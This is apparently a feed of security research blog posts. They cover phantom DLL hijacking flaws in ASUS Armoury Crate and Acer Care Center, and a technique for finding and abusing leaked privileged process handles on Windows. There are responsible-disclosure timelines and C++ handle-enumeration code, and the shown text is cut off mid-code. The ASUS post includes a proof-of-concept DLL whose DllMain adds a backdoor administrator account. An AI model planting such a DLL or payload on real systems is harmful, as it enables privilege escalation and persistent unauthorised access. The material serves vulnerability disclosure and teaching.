Normal view

There are new articles available, click to refresh the page.
Before yesterdayAPT::WTF - APTortellini’s blog

🇮🇹 Stealing weapons from the Armoury

By: ["last"]
24 September 2021 at 00:00

armoury pwnd

TL;DR

Il software ASUS ROG Armoury Crate installa un servizio chiamato Armoury Crate Lite Service, vulnerabile a phantom DLL hijacking. Ciò permette a un utente non privilegiato di eseguire codice nel contesto di altri utenti, amministratori inclusi. Per sfruttare la vulnerabilità, un amministratore deve autenticarsi sulla macchina compromessa dopo che un attaccante ha posizionato una DLL malevola nel path C:\ProgramData\ASUS\GamingCenterLib\.DLL. ASUS ha fixato la vulnerabilità, a cui il MITRE ha assegnato l’ID CVE-2021-40981, rilasciando la versione v4.2.10 di Armoury Crate Lite Service.

Introduzione

Salve compagni di viaggio, è last che vi scrive! Recentemente mi sono messo alla ricerca di qualche vulnerabilità qua e là (devo lavorare sull’impiego del mio tempo libero, lo so). Più precisamente mi sono concentrato su un particolare tipo di vulnerabilità chiamato phantom DLL hijacking (“statece”, lo lascio in inglese che tradotto faceva un po’ schifarcazzo pietà) che su Windows può portare, nel migliore dei casi, a backdoor negli applicativi o, nel peggiore dei casi, a bypass di UAC e/o privilege escalation.

I phantom DLL hijacking sono una sottocategoria dei DLL hijacking, un tipo di vulnerabilità in cui un attaccante forza un processo vittima a caricare una DLL arbitraria, sostituendola a quella legittima. Si dicono phantom quando la DLL in questione è proprio assente nel filesystem, mentre quelli classici vanno a sostituire una DLL che invece è presente.

Ricordiamo cos’è una DLL per chi si fosse perso: una Dynamic-Link Library (DLL) è un tipo di Portable Executable (PE) su Windows, come i famigerati .exe, con la differenza che essa non è eseguibile con un normale doppio-click, ma deve essere importata da un processo in esecuzione. Una volta importata, il processo esegue il contenuto della funzione DllMain presente all’interno della DLL e può usufruire delle funzioni esportate dalla stessa. Per gli amanti del software libero, le DLL sono essenzialmente lo stesso concetto dei file .so su Linux (come la libc). Come accennato, il codice della DllMain viene eseguito nel contesto del processo che importa la DLL stessa, significando che, se la DLL dovesse essere caricata da un processo con un token privilegiato, il codice della DLL verrebbe eseguito in un contesto privilegiato.

Tornando a noi, giocando con Process Monitor sono riuscito a trovare un phantom DLL hijacking in ASUS ROG Armoury Crate, un software che è molto facile trovare in PC e laptop da gaming con una scheda madre TUF/ROG per gestire LED e ventole di raffreddamento.

such gaming much 0days gif

L’anno scorso ho assemblato un PC con una scheda madre ASUS TUF (i cugini sfigati di Roma Nord di ASUS ROG) e mi sono ritrovato questa meraviglia di software installato. Tendenzialmente questo tipo di software non è pensato per essere sicuro - non me la sto prendendo con ASUS, vale lo stesso per le altre case produttrici (ehm ehm… Acer… ehm ehm). È questo il motivo per cui ho deciso di concentrare i miei sforzi su questo genere di software, la pigrizia vera.

Al momento del login il servizio di Armoury Crate, fantasiosamente chiamato Armoury Crate Lite Service, crea una serie di processi, fra i quali troviamo ArmouryCrate.Service.exe e il processo figlio ArmouryCrate.UserSessionHelper.exe. Come potete vedere dal prossimo screenshot, il primo possiede un token SYSTEM, mentre il figlio, nel caso di utenti amministratori, uno ad alta integrità - per saperne di più riguardo al concetto di integrità clicca qui. Nel caso in cui l’utente autenticato non sia amministratore, ArmouryCrate.UserSessionHelper.exe esegue a integrità media. Tenetelo a mente, ci tornerà utile più avanti.

armourycrate arch

Si va a caccia

Ora che abbiamo una vaga idea di quale sia il nostro target, passiamo ad analizzare l’approccio che useremo per cercare la vulnerabilità:

  1. Isolare tutte le chiamate che portano a una CreateFile tramite Process Monitor e che hanno come risultato “NO SUCH FILE” o “PATH NOT FOUND”;
  2. Ispezioniamo il call stack (la sequenza di funzioni chiamate all’interno del codice) per accertarci che la CreateFile avvenga a seguito di una chiamata a una funzione appartenente alla famiglia delle funzioni LoadLibrary (come LoadLibraryA, LoadLibraryW, LoadLibraryExW o le loro corrispondenti native dentro ntdll). N.B. CreateFile su Windows è un mezzo false friend, non serve solo a “creare file”, ma anche ad aprirne di già esistenti;
  3. Prendiamo nota del percorso sul filesystem da cui viene caricata la DLL e assicuriamoci che un utente non privilegiato abbia permessi di scrittura sul percorso stesso;
  4. Profit!

Andare a caccia di questo genere di vulnerabilità è abbastanza semplice in realtà e la metodologia segue quella che ho già spiegato in questo thread su Twitter: bisogna avviare Process Monitor con privilegi amministrativi, impostare alcuni filtri e ispezionare i risultati. Dal momento che siamo interessati solo ed esclusivamente a phantom DLL hijacking in grado di portare a privilege escalation (backdoor e UAC bypass li lasciamo agli skid) imposteremo il nostro filtro per mostrarci solo i processi privilegiati (ossia con integrità >= ad alta) con operazioni di caricamento DLL che falliscono con PATH NOT FOUND o NO SUCH FILE. Per aprire la mascherina del filtro su Process Monitor cliccate su Filter -> Filter.... Vediamo quali filtri impostare per filtrare tutte le operazioni che non rispondono ai canoni riportati:

  • Operation - is - CreateFile - Include
  • Result - contains - not found - Include
  • Result - contains - no such - Include
  • Path - ends with - .dll - Include
  • Integrity - is - System - Include
  • Integrity - is - High - Include

procmon filters

Impostati i filtri corretti tornate sulla barra del menu e salvate il filtro cliccando Filter -> Save Filter... così che possiamo riutilizzarlo dopo. Visto che molti processi e servizi ad alta integrità vengono eseguiti all’atto dell’autenticazione dell’utente o all’avvio, dobbiamo instrumentare Process Monitor affinché tenga traccia del processo di boot e di login. Per fare ciò tornate sulla barra del menu e cliccate Options -> Enable Boot Logging, lasciate il resto ai valori di default, chiudete Process Monitor e riavviate il dispositivo. Dopo esservi riautenticati, riaprite Process Monitor e salvate il file Bootlog.pml contenente tutto il tracing dell’avvio fatto da Process Monitor. Una volta salvato, Process Monitor procederà automaticamente a parsarlo e a mostrarvi i risultati. Tornate sulla barra dei menu, premete Filter -> Load Filter, caricate il filtro salvato precedentemente e dovreste trovare qualche riga di operazioni, se siete fortunati e non avete sbagliato nulla. Tutto ciò che vedete potrebbe portare a phantom DLL hijacking.

armoury missing DLL

È ora di investigare i risultati! Nel caso di Armoury Crate, potete vedere che cerca di caricare un file chiamato .DLL posizionato nel path C:\ProgramData\ASUS\GamingCenterLib\.DLL. Tale path è molto interessante, in quanto, diversamente dalle sottocartelle di C:\Program Files\, le sottocartelle di C:\ProgramData\ non hanno ACL sicure di default e quindi è estremamente probabile che un utente non privilegiato sia in grado di scrivere in una di esse.

Per assicurarci che le operazioni CreateFile relative agli eventi che stiamo osservando siano effettivamente conseguenza di una chiamata a una funzione della famiglia LoadLibrary, possiamo aprire l’evento (doppio click sullo stesso), aprire la tab Stack e dare un’occhiata alla pila di funzioni chiamate. Come potete vedere dallo screenshot, nel caso di Armoury Crate la CreateFile avviene a seguito di una chiamata a LoadLibraryExW:

armoury crate loadlibrary

Per assicurarci che le ACL della directory C:\ProgramData\ASUS\GamingCenterLib\ siano lasche possiamo usare il convenientissimo cmdlet Powershell Get-Acl così:

Get-Acl 'C:\ProgramData\ASUS\GamingCenterLib' | Select-Object *

Questo comando ci restituisce una stringa contenente le ACL in formato SDDL (Security Descriptor Definition Language), che può essere interpretata in maniera comprensibile da un umano tramite il cmdlet ConvertFrom-SddlString. Tramite tale comando possiamo notare che il gruppo BUILTIN\Users ha accesso con privilegi di scrittura sul path in questione:

armoury acls

Un modo molto più becero ma ugualmente funzionale di verificare le ACL di un oggetto su Windows è tramite la tab View effective access, nascosta nelle proprietà dell’oggetto stesso (che nel nostro caso è la cartella C:\ProgramData\ASUS\GamingCenterLib\). Per visualizzare “l’accesso effettivo” che un utente o un gruppo di utenti ha tramite questa funzionalità basta aprire le proprietà della cartella, cliccare sulla tab Security, poi Advanced, selezionare un utente o un gruppo di utenti (nel mio caso ho usato un utente di test non amministratore) e premere su View effective access. Il risultato di questa operazione è una mascherina che mostra quali privilegi ha il singolo utente sulla cartella, mettendolo a sistema con i gruppi di cui fa parte.

armoury acls gui

Ora che sappiamo che chiunque ha privilegi di scrittura su C:\ProgramData\ASUS\GamingCenterLib\ dobbiamo solo compilare una DLL contenente il codice che vogliamo eseguire e “dropparla” su disco a quel path con il nome .DLL. Come PoC useremo una semplice DLL che aggiungerà un nuovo utente chiamato aptortellini con password aptortellini e gli darà privilegi amministrativi aggiungendolo al gruppo degli amministratori locali.

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    system("C:\\Windows\\System32\\cmd.exe /c \"net user aptortellini aptortellini /add\"");
    system("C:\\Windows\\System32\\cmd.exe /c \"net localgroup administrators aptortellini /add\"");
    return TRUE;
}

Ora che abbiamo tutto pronto dobbiamo solo aspettare che un utente amministratore si autentichi sulla macchina. Questo è necessario poiché la DLL in questione viene caricata dal processo ArmouryCrate.UserSessionHelper.exe che, come abbiamo detto all’inizio dell’articolo, esegue con i privilegi massimi consentiti all’utente autenticato. Al momento dell’autenticazione di un utente amministratore ci ritroveremo con un nuovo utente amministratore, confermando la privilege escalation.

Root cause analysis

Vediamo adesso brevemente cosa ha causato la vulnerabilità in questione. Come si evince dal call stack mostrato in uno degli screenshot precedenti, la chiamata a LoadLibraryExW avviene all’offset 0x167d nella funzione QueryLibrary, all’interno della DLL GameBoxPlugin.dll caricata dal processo ArmouryCrate.UserSessionHelper.exe. Reversando la DLL tramite IDA Pro si può inoltre osservare che la maggior parte delle funzioni in questa DLL hanno una sorta di forma di logging che contiene il nome originale della funzione chiamante. Da ciò si può evincere che la funzione responsabile della chiamata a LoadLibraryExW è la funzione DllLoadLibraryImplement:

ida call

In questo caso abbiamo due “colpevoli”:

  1. Una DLL è caricata senza nessuna forma di check. ASUS ha fixato questa problematica implementando un check crittografico nelle nuove versioni di Armoury Crate Lite Service per assicurarsi che le DLL caricate siano firmate da ASUS;
  2. Le ACL della directory C:\ProgramData\ASUS\GamingCenterLib\ non sono impostate nella maniera corretta. Questa cosa non è stata fixata da ASUS, significando che se in futuro una problematica del genere dovesse riverificarsi, ci sarebbero i presupposti per una nuova vulnerabilità. Il processo ArmouryCrate.UserSessionHelper.exe tra l’altro cerca nella stessa directory delle DLL con un nome rispondente alla wildcard ??????.DLL, cosa che potrebbe essere exploitabile. Consiglio di fixare “a mano” le ACL della cartella in questione e rimuovere i privilegi di scrittura a tutti gli utenti non membri del gruppo degli amministratori locali.

Responsible disclosure timeline (YYYY/MM/DD)

  • 2021/09/06: vulnerabilità riportata ad ASUS tramite il loro portale di disclosure;
  • 2021/09/10: ASUS conferma di aver ricevuto il report e lo inoltra al suo team di sviluppo;
  • 2021/09/13: Il team di sviluppo conferma la presenza della vulnerabilità e afferma che sarà fixata nella successiva release, prevista per la 39esima settimana dell’anno in corso(27/09 - 01/10);
  • 2021/09/24: ASUS conferma che la vulnerabilità è stata fixata nella versione 4.2.10 del servizio;
  • 2021/09/27: il MITRE assegna il CVE con codice CVE-2021-40981 a questa vulnerabilità;

Kudos ad ASUS per la celerità e professionalità nella gestione della vulnerabilità. È tutto per oggi e alla prossima!

last out!

🇬🇧 The ace(r) up your sleeve!

By: ["last"]
20 January 2022 at 00:00

acer pwnd

TL;DR

Acer ships most of the laptop it sells with a software suite called Care Center Service installed. In versions up to 4.00.3034 included, one of the suite’s programs is an executable named ListCheck.exe, which runs at logon with the highest privilege available and suffers from a phantom DLL hijacking. This can lead to a privilege escalation when an administrator logs in. The vulnerability has been assigned ID CVE-2021-45975

Introduction

Greetings mates, last here! As I previously mentioned, lately I’ve been busy hunting for vulnerabilities and I ended up finding another privilege escalation in one of those softwares computer manufacturers put in the computers they sell. This time it ended up being in Care Center Service, a software suite Acer uses to keep devices they build updated. I won’t delve into the details of how I found the vulnerability, as it’s pretty much the same methodology I explained in the post about a similar vulnerability in an ASUS product I found last October.

The vulnerability

As with ASUS’ one, this vulnerability is a phantom DLL hijacking. At user logon, a scheduled task named “Software Update Application”, created when Acer Care Center is installed, runs a binary named ListCheck.exe. As specified in the scheduled task configuration, the binary runs with the highest privileges available to the logged on user (which means high integrity if the user is part of the BUILTIN\Administrators group). The process spawned then tries to load profapi.dll by first looking into the C:\ProgramData\OEM\UpgradeTool\ directory.

listcheck missing dll

The ACL of said directory is not properly configured (and often they are not for subfolders of C:\ProgramData\), meaning an unprivileged user has write access to it and thus can place there a malicious profapi.dll which will be loaded by ListCheck.exe and executed.

lax permissions

This means that, if a privileged user logs on, the malicious profapi.dll will be loaded and executed at high integrity, effectively running arbitrary malicious code as an administrator and achieving a privilege escalation.

Patch and workaround

Acer had released a patch for Acer Care Center on the 27th of December 2021 in order to fix the vulnerability. To prevent the vulnerability from being exploited before the patch is applied, simply disable the “Software Update Application” scheduled task.

Responsible disclosure timeline (YYYY/MM/DD)

That’s all for today folks, see you next time!

last out!

🇮🇹 The ace(r) up your sleeve!

By: ["last"]
20 January 2022 at 00:00

acer pwnd

TL;DR

Acer installa nella maggior parte dei computer che produce una suite di software chiamata Care Center Service, che contiene un programma chiamato ListCheck.exe che viene eseguito all’avvio con i massimi privilegi consentiti all’utente. Fino alla versione 4.00.3034 inclusa di Care Center, tale eseguibile ha una vulnerabilità di tipo phantom DLL hijacking che può portare a privilege escalation nel caso un amministratore si autentichi sul dispositivo. Alla vulnerabilità è stato assegnato l’identificativo CVE-2021-45975.

Introduzione

Salve a tutti, è di nuovo last a infastidirvi. Nella mia continua ricerca di disagi esadecimali mi sono imbattuto in un altro software vulnerabile a privilege escalation. Questa volta è stato il turno di Care Center Service, una suite software che Acer installa nella maggior parte dei dispositivi che vende. Non mi soffermerò su come ho trovato la vulnerabilità in questione, perché il metodo è letteralmente lo stesso che ho utilizzato per trovare una vulnerabilità identica in un software prodotto da ASUS lo scorso ottobre.

La vulnerabilità

Come per quella di ASUS, questa vulnerabilità è un phantom DLL hijacking. Nel momento in cui un utente si autentica su un computer con Acer Care Center installato, uno scheduled task chiamato “Software Update Application” esegue un binario chiamato ListCheck.exe. Come configurato nello scheduled task, questo binario viene eseguito ad alta integrità nel caso l’utente appartenga al gruppo degli amministratori locali. Il processo così creato cerca di caricare la libreria profapi.dll, andando a cercarla nella cartella C:\ProgramData\OEM\UpgradeTool\.

listcheck missing dll

Le ACL della cartella menzionata non sono configurate correttamente (raramente lo sono nel caso di sottocartelle di C:\ProgramData\).

lax permissions

Ciò significa che, nel caso un utente non privilegiato riesca a posizionare un profapi.dll malevolo all’interno della cartella in questione, un utente con privilegi amministrativi finirebbe con il caricare ed eseguire codice malevolo all’interno di un processo ad alta integrità, portando a esecuzione di codice arbitrario locale e a una privilege escalation.

Patch e workaround

Acer ha rilasciato una patch di sicurezza per Acer Care Center il 27 dicembre 2021. Come workaround preventivo, disabilitare lo scheduled task “Software Update Application” è efficace nel mitigare la vulnerabilità.

Responsible disclosure timeline (YYYY/MM/DD)

  • 2021/10/30: vulnerabilità riportata ad Acer via email a [email protected];
  • 2021/12/08: Acer conferma la ricezione del report e la presenza della vulnerabilità;
  • 2021/12/27: Acer rilascia la patch di sicurezza e conferma che il MITRE ha assegnato alla vulnerabilità l’identificativo CVE-2021-45975;
  • 2022/01/20: l’advisory relativa alla vulnerabilità e questo post vengono resi pubblici;

Questo è quanto per oggi, alla prossima!

last out!

🇬🇧 Gaining the upper hand(le)

By: ["last"]
10 February 2022 at 00:00

tortellino windows

TL;DR

There are some situations in which processes with high or SYSTEM integrity request handles to privileged processes/threads/tokens and then spawn lower integrity processes. If these handles are sufficiently powerful, of the right type and are inherited by the child process, we can clone them from another process and then abuse them to escalate privileges and/or bypass UAC. In this post we will learn how to look for and abuse this kind of vulnerability.

Introduction

Hello there, hackers in arms, last here! Lately I’ve been hunting a certain type of vulnerability which can lead to privilege escalations or UAC bypasses. Since I don’t think it has been thoroughly explained yet, let alone automatized, why don’t we embark on this new adventure?

Essentially, the idea is to see if we can automatically find unprivileged processes which have privileged handles to high integrity (aka elevated) or SYSTEM processes, and then check if we can attach to these processes as an unprivileged user and clone these handles to later abuse them. What constraints will be placed on our tool?

  1. It must run as a medium integrity process
  2. No SeDebugPrivilege in the process’ token (no medium integrity process has that by default)
  3. No UAC bypass as it must also work for non-administrative users

This process is somewhat convoluted, the steps we will go through are more or less the following ones:

  1. Enumerate all handles held by all the processes
  2. Filter out the handles we don’t find interesting - for now we will only focus on handles to processes, threads and tokens, as they are the ones more easily weaponizable
  3. Filter out the handles referencing low integrity processes/threads/tokens
  4. Filter out the handles held by process with integrity greater than medium - we can’t attach to them unless we got SeDebugPrivilege, which defeats the purpose of this article
  5. Clone the remaining handles and import them into our process and try to abuse them to escalate privileges (or at least bypass UAC)

ven diagram

Granted, it’s pretty unlikely we will be finding a ton of these on a pristine Windows machine, so to get around that I will be using a vulnerable application I written specifically for this purpose, though you never know what funny stuff administrators end up installing on their boxes…

Now that we have a rough idea of what we are going to do, let’s cover the basics.

Handles 101

As I briefly discussed in this Twitter thread, Windows is an object based OS, which means that every entity (be it a process, a thread, a mutex, etc.) has an “object” representation in the kernel in the form of a data structure. For processes, for example, this data structure is of type _EPROCESS. Being data living in kernelspace, there’s no way for normal, usermode code to interact directly with these data structures, so the OS exposes an indirection mechanism which relies on special variables of type HANDLE (and derived types like SC_HANDLE for services). A handle is nothing more than a index in a kernelspace table, private for each process. Each entry of the table contains the address of the object it points to and the level of access said handle has to said object. This table is pointed to by the ObjectTable member (which is of type _HANDLE_TABLE*, hence it points to a _HANDLE_TABLE) of the _EPROCESS structure of every process.

To make it easier to digest, let’s see an example. To get a handle to a process we can use the OpenProcess Win32 API - here’s the definition:

HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);

It takes 3 parameters:

  • dwDesiredAccess is a DWORD which specifies the level of access we want to have on the process we are trying to open
  • bInheritHandle is a boolean which, if set to TRUE, will make the handle inheritable, meaning the calling process copies the returned handle to child processes when they are spawned (in case our program ever calls functions like CreateProcess)
  • dwProcessId is a DWORD which is used to specify which process we want to open (by providing its PID)

In the following line I will try to open a handle to the System process (which always has PID 4), specifying to the kernel that I want the handle to have the least amount of privilege possible, required to query only a subset of information regarding the process (PROCESS_QUERY_LIMITED_INFORMATION) and that I want child processes of this program to inherit the returned handle (TRUE).

HANDLE hProcess;
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, 4);

The handle to the System process returned by OpenProcess (provided it doesn’t fail for some reason) is put into the hProcess variable for later use.

Behind the scenes, the kernel does some security checks and, if these checks pass, takes the provided PID, resolves the address of the associated _EPROCESS structure and copies it into a new entry into the handle table. After that it copies the access mask (i.e. the provided access level) into the same entry and returns the entry value to the calling code.

Similar things happen when you call other functions such as OpenThread and OpenToken.

Viewing handles

As we introduced before, handles are essentially indexes of a table. Each entry contains, among other things, the address of the object the handle refers to and the access level of the handle. We can view this information using tools such as Process Explorer or Process Hacker:

handles 1

From this Process Explorer screenshot we can gain a few information:

  • Red box: the type of object the handle refers to;
  • Blue box: the handle value (the actual index of the table entry);
  • Yellow box: the address of the object the handle refers to;
  • Green box: the access mask and its decoded value (access masks are macros defined in the Windows.h header). This tells us what privileges are granted on the object to the holder of the handle;

To obtain this information there are many methods, not necessarily involving the use of code running in kernelmode. Among these methods, the most practical and useful is relying on the native API NtQuerySystemInformation, which, when called passing the SystemHandleInformation (0x10) value as its first parameter, returns us a pointer to an array of SYSTEM_HANDLE variables where each of them refers to a handle opened by a process on the system.

NTSTATUS NtQuerySystemInformation(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID                    SystemInformation,
	ULONG                    SystemInformationLength,
	PULONG                   ReturnLength
);

Let’s have a look at a possible way to do it using C++.

NTSTATUS queryInfoStatus = 0;
PSYSTEM_HANDLE_INFORMATION tempHandleInfo = nullptr;
size_t handleInfoSize = 0x10000;
auto handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
if (handleInfo == NULL) return mSysHandlePid;
while (queryInfoStatus = NtQuerySystemInformation(
	SystemHandleInformation, //0x10
	handleInfo,
	static_cast<ULONG>(handleInfoSize),
	NULL
) == STATUS_INFO_LENGTH_MISMATCH)
{
	tempHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
	if (tempHandleInfo == NULL) return mSysHandlePid;
	else handleInfo = tempHandleInfo;
}

In this block of code we are working with the following variables:

  1. queryInfoStatus which will hold the return value of NtQuerySystemInformation
  2. tempHandleInfo which will hold the data regarding all the handles on the system NtQuerySystemInformation fetches for us
  3. handleInfoSize which is a “guess” of how much said data will be big - don’t worry about that as this variable will be doubled every time NtQuerySystemInformation will return STATUS_INFO_LENGTH_MISMATCH which is a value telling us the allocated space is not enough
  4. handleInfo which is a pointer to the memory location NtQuerySystemInformation will fill with the data we need

Don’t get confused by the while loop here, as we said, we are just calling the function over and over until the allocated memory space is big enough to hold all the data. This type of operation is fairly common when working with the Windows native API.

The data fetched by NtQuerySystemInformation can then be parsed simply by iterating over it, like in the following example:

for (uint32_t i = 0; i < handleInfo->HandleCount; i++) 
{
	auto handle = handleInfo->Handles[i];
	std::cout << "[*] PID: " << handle.ProcessId << "\n\t"
		  << "|_ Handle value: 0x" << std::hex << static_cast<uint64_t>(handle.Handle) << "\n\t"
                  << "|_ Object address: 0x" << std::hex << reinterpret_cast<uint64_t>(handle.Object) << "\n\t"
                  << "|_ Object type: 0x" << std::hex << static_cast<uint32_t>(handle.ObjectTypeNumber) << "\n\t"
                  << "|_ Access granted: 0x" << std::hex << static_cast<uint32_t>(handle.GrantedAccess) << std::endl;  
}

As you can see from the code, the variable handle which is a structure of type SYSTEM_HANDLE (auto‘d out of the code) has a number of members that give useful information regarding the handle it refers to. The most interesting members are:

  • ProcessId: the process which holds the handle
  • Handle: the handle value inside the process that holds the handle itself
  • Object: the address in kernelspace of the object the handle points to
  • ObjectTypeNumber: an undocumented BYTE variable which identifies the type of object the handle refers to. To interpret it some reverse engineering and digging is required, suffice it to say that processes are identified by the value 0x07, threads by 0x08 and tokens by 0x05
  • GrantedAccess the level of access to the kernel object the handle grants. In case of processes, you can find values such as PROCESS_ALL_ACCESS, PROCESS_CREATE_PROCESS etc.

Let’s run the aforementioned code and see its output:

listing handles with c++

In this excerpt we are seeing 3 handles that process with PID 4 (which is the System process on any Windows machine) has currently open. All of these handles refer to kernel objects of type process (as we can deduce from the 0x7 value of the object type), each with its own kernelspace address, but only the first one is a privileged handle, as you can deduce from its value, 0x1fffff, which is what PROCESS_ALL_ACCESS translates to. Unluckily, in my research I have found no straightforward way to directly extract the PID of the process pointed to by the ObjectAddress member of the SYSTEM_HANDLE struct. We will see later a clever trick to circumvent this problem, but for now let’s check which process it is using Process Explorer.

seeing the process with procexp

As you can see, the handle with value 0x828 is of type process and refers to the process services.exe. Both the object address and granted access check out as well and if you look to the right of the image you will see that the decoded access mask shows PROCESS_ALL_ACCESS, as expected.

This is very interesting as it essentially allows us to peer into the handle table of any process, regardless of its security context and PP(L) level.

Let’s go hunting

Getting back the PID of the target process from its object address

As I pointed out before, in my research I did not find a way to get back the PID of a process given a SYSTEM_HANDLE to the process, but I did find an interesting workaround. Let’s walk through some assumptions first:

  • The SYSTEM_HANDLE structure contains the Object member, which holds the kernel object address, which is in kernelspace
  • On Windows, all processes have their own address space, but the kernelspace part of the address space (the upper 128TB for 64 bit processes) is the same for all processes. Addresses in kernelspace hold the same data in all processes
  • When it comes to handles referring to processes, the Object member of SYSTEM_HANDLE points to the _EPROCESS structure of the process itself
  • Every process has only one _EPROCESS structure
  • We can obtain a handle to any process, regardless of its security context, by calling OpenProcess and specifying PROCESS_QUERY_LIMITED_INFORMATION as the desired access value
  • When calling NtQuerySystemInformation we can enumerate all of the opened handles

From these assumptions we can deduce the following information:

  • The Object member of two different SYSTEM_HANDLE structures will be the same if the handle is opened on the same object, regardless of the process holding the handle (e.g. two handles opened on the same file by two different processes will have the same Object value)
    • Two handles to the same process opened by two different processes will have a matching Object value
    • Same goes for threads, tokens etc.
  • When calling NtQuerySystemInformation we can enumerate handles held by our own process
  • If we get a handle to a process through OpenProcess we know the PID of said process, and, through NtQuerySystemInformation, its _EPROCESS’s kernelspace address

Can you see where we are going? If we manage to open a handle with access PROCESS_QUERY_LIMITED_INFORMATION to all of the processes and later retrieve all of the system handles through NtQuerySystemInformation we can then filter out all the handles not belonging to our process and extract from those that do belong to our process the Object value and get a match between it and the resulting PID. Of course the same can be done with threads, only using OpenThread and THREAD_QUERY_INFORMATION_LIMITED.

To efficiently open all of the processes and threads on the system we can rely on the routines of the TlHelp32.h library, which essentially allow us to take a snapshot of all the processes and threads on a system and walk through that snapshot to get the PIDs and TIDs (Thread ID) of the processes and threads running when the snapshot was taken.

The following block of code shows how we can get said snapshot and walk through it to get the PIDs of all the processes.

std::map<HANDLE, DWORD> mHandleId;

wil::unique_handle snapshot(CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0));
PROCESSENTRY32W processEntry = { 0 };
processEntry.dwSize = sizeof(PROCESSENTRY32W);

// start enumerating from the first process
auto status = Process32FirstW(snapshot.get(), &processEntry); 

// start iterating through the PID space and try to open existing processes and map their PIDs to the returned shHandle
std::cout << "[*] Iterating through all the PID/TID space to match local handles with PIDs/TIDs...\n";
do
{
	auto hTempHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processEntry.th32ProcessID);
	if (hTempHandle != NULL)
	{
		// if we manage to open a shHandle to the process, insert it into the HANDLE - PID map at its PIDth index
		mHandleId.insert({ hTempHandle, processEntry.th32ProcessID });
	}
} while (Process32NextW(snapshot.get(), &processEntry));

We first define a std::map which is a dictionary-like class in C++ that will allow us to keep track of which handles refer to which PID. We will call it mHandleId.

Done that we take a snapshot of the state of the system regarding processes using the CreateToolhelp32Snapshot and specifying we only want processes (through the TH32CS_SNAPPROCESS argument). This snapshot is assigned to the snapshot variable, which is of type wil::unique_handle, a C++ class of the WIL library which frees us of the burden of having to take care of properly cleaning handles once they are used. Done that we define and initialize a PROCESSENTRY32W variable called processEntry which will hold the information of the process we are examining once we start iterating through the snapshot.

After doing so we call Process32FirstW and fill processEntry with the data of the first process in the snapshot. For each process we try to call OpenProcess with PROCESS_QUERY_LIMITED_INFORMATION on its PID and, if successful, we store the handle - PID pair inside the mHandleId map.

On each while cycle we execute Process32NextW and fill the processEntry variable with a new process, until it returns false and we get out of the loop. We now have a 1 to 1 map between our handles and the PID of the processes they point to. Onto phase 2!

It’s now time to get all of system’s handles and filter out the ones not belonging to our process. We already saw how to retrieve all the handles, now it’s just a matter of checking each SYSTEM_HANDLE and comparing its ProcessId member with the PID of our process, obtainable through the aptly named GetCurrentProcessId function. We then store the Object and Handle members’ value of those SYSTEM_HANDLEs that belong to our process in a similar manner as we did we the handle - PID pairs, using a map we will call mAddressHandle.

std::map<uint64_t, HANDLE> mAddressHandle;
for (uint32_t i = 0; i < handleInfo->HandleCount; i++) 
{
    auto handle = handleInfo->Handles[i];

    // skip handles not belonging to this process
    if (handle.ProcessId != pid)
        continue;
    else
    {
        // switch on the type of object the handle refers to
        switch (handle.ObjectTypeNumber)
        {
        case OB_TYPE_INDEX_PROCESS:
        {
            mAddressHandle.insert({ (uint64_t)handle.Object, (HANDLE)handle.Handle }); // fill the ADDRESS - HANDLE map 
            break;
        }

        default:
            continue;
        }
    }
}

You might be wondering why the switch statement instead of a simple if. Some code has been edited out as these are excerpt of a tool we Advanced Persistent Tortellini coded specifically to hunt for the vulnerabilities we mentioned at the beginning of the post. We plan on open sourcing it when we feel it’s ready for public shame use.

Now that we have filled our two maps, getting back the PID of a process when we only know it’s _EPROCESS address is a breeze.

auto address = (uint64_t)(handle.Object);
auto foundHandlePair = mAddressHandle.find(address);
auto foundHandle = foundHandlePair->second;
auto handlePidPair = mHandleId.find(foundHandle);
auto handlePid = handlePidPair->second;

We first save the address of the object in the address variable, then look for that address in the mAddressHandle map by using the find method, which will return a <uint64_t,HANDLE> pair. This pair contains the address and the handle it corresponds to. We get the handle by saving the value of the second member of the pair and save it in the foundHandle variable. After that, it’s just a matter of doing what we just did, but with the mHandleId map and the handlePid variable will hold the PID of the process whose address is the one we began with.

Automagically looking for the needle in the haystack

Now that we have a reliable way to match addresses and PIDs, we need to specifically look for those situations where processes with integrity less than high hold interesting handles to processes with integrity equal or greater than high. But what makes a handle “interesting” from a security perspective? Bryan Alexander lays it down pretty clearly in this blogpost, but essentially, when it comes to processes, the handles we will focus on are the ones with the following access mask:

  • PROCESS_ALL_ACCESS
  • PROCESS_CREATE_PROCESS
  • PROCESS_CREATE_THREAD
  • PROCESS_DUP_HANDLE
  • PROCESS_VM_WRITE

If you find a handle to a privileged process with at least one of this access masks in an unprivileged process, it’s jackpot. Let’s see how we can do it.

std::vector<SYSTEM_HANDLE> vSysHandle;
for (uint32_t i = 0; i < handleInfo->HandleCount; i++) {
    auto sysHandle = handleInfo->Handles[i];
    auto currentPid = sysHandle.ProcessId;
    if (currentPid == pid) continue; // skip our process' handles
    auto integrityLevel = GetTargetIntegrityLevel(currentPid);

    if (
        integrityLevel != 0 &&
        integrityLevel < SECURITY_MANDATORY_HIGH_RID && // the integrity level of the process must be < High
        sysHandle.ObjectTypeNumber == OB_TYPE_INDEX_PROCESS
	)        
    {
        if (!(sysHandle.GrantedAccess == PROCESS_ALL_ACCESS || 
        	sysHandle.GrantedAccess & PROCESS_CREATE_PROCESS || 
        	sysHandle.GrantedAccess & PROCESS_CREATE_THREAD || 
        	sysHandle.GrantedAccess & PROCESS_DUP_HANDLE || 
        	sysHandle.GrantedAccess & PROCESS_VM_WRITE)) continue;
        
        auto address = (uint64_t)(sysHandle.Object);
        auto foundHandlePair = mAddressHandle.find(address);
        if (foundHandlePair == mAddressHandle.end()) continue;
        auto foundHandle = foundHandlePair->second;
        auto handlePidPair = mHandleId.find(foundHandle);
        auto handlePid = handlePidPair->second;
        auto handleIntegrityLevel = GetTargetIntegrityLevel(handlePid);
        if (
            handleIntegrityLevel != 0 &&
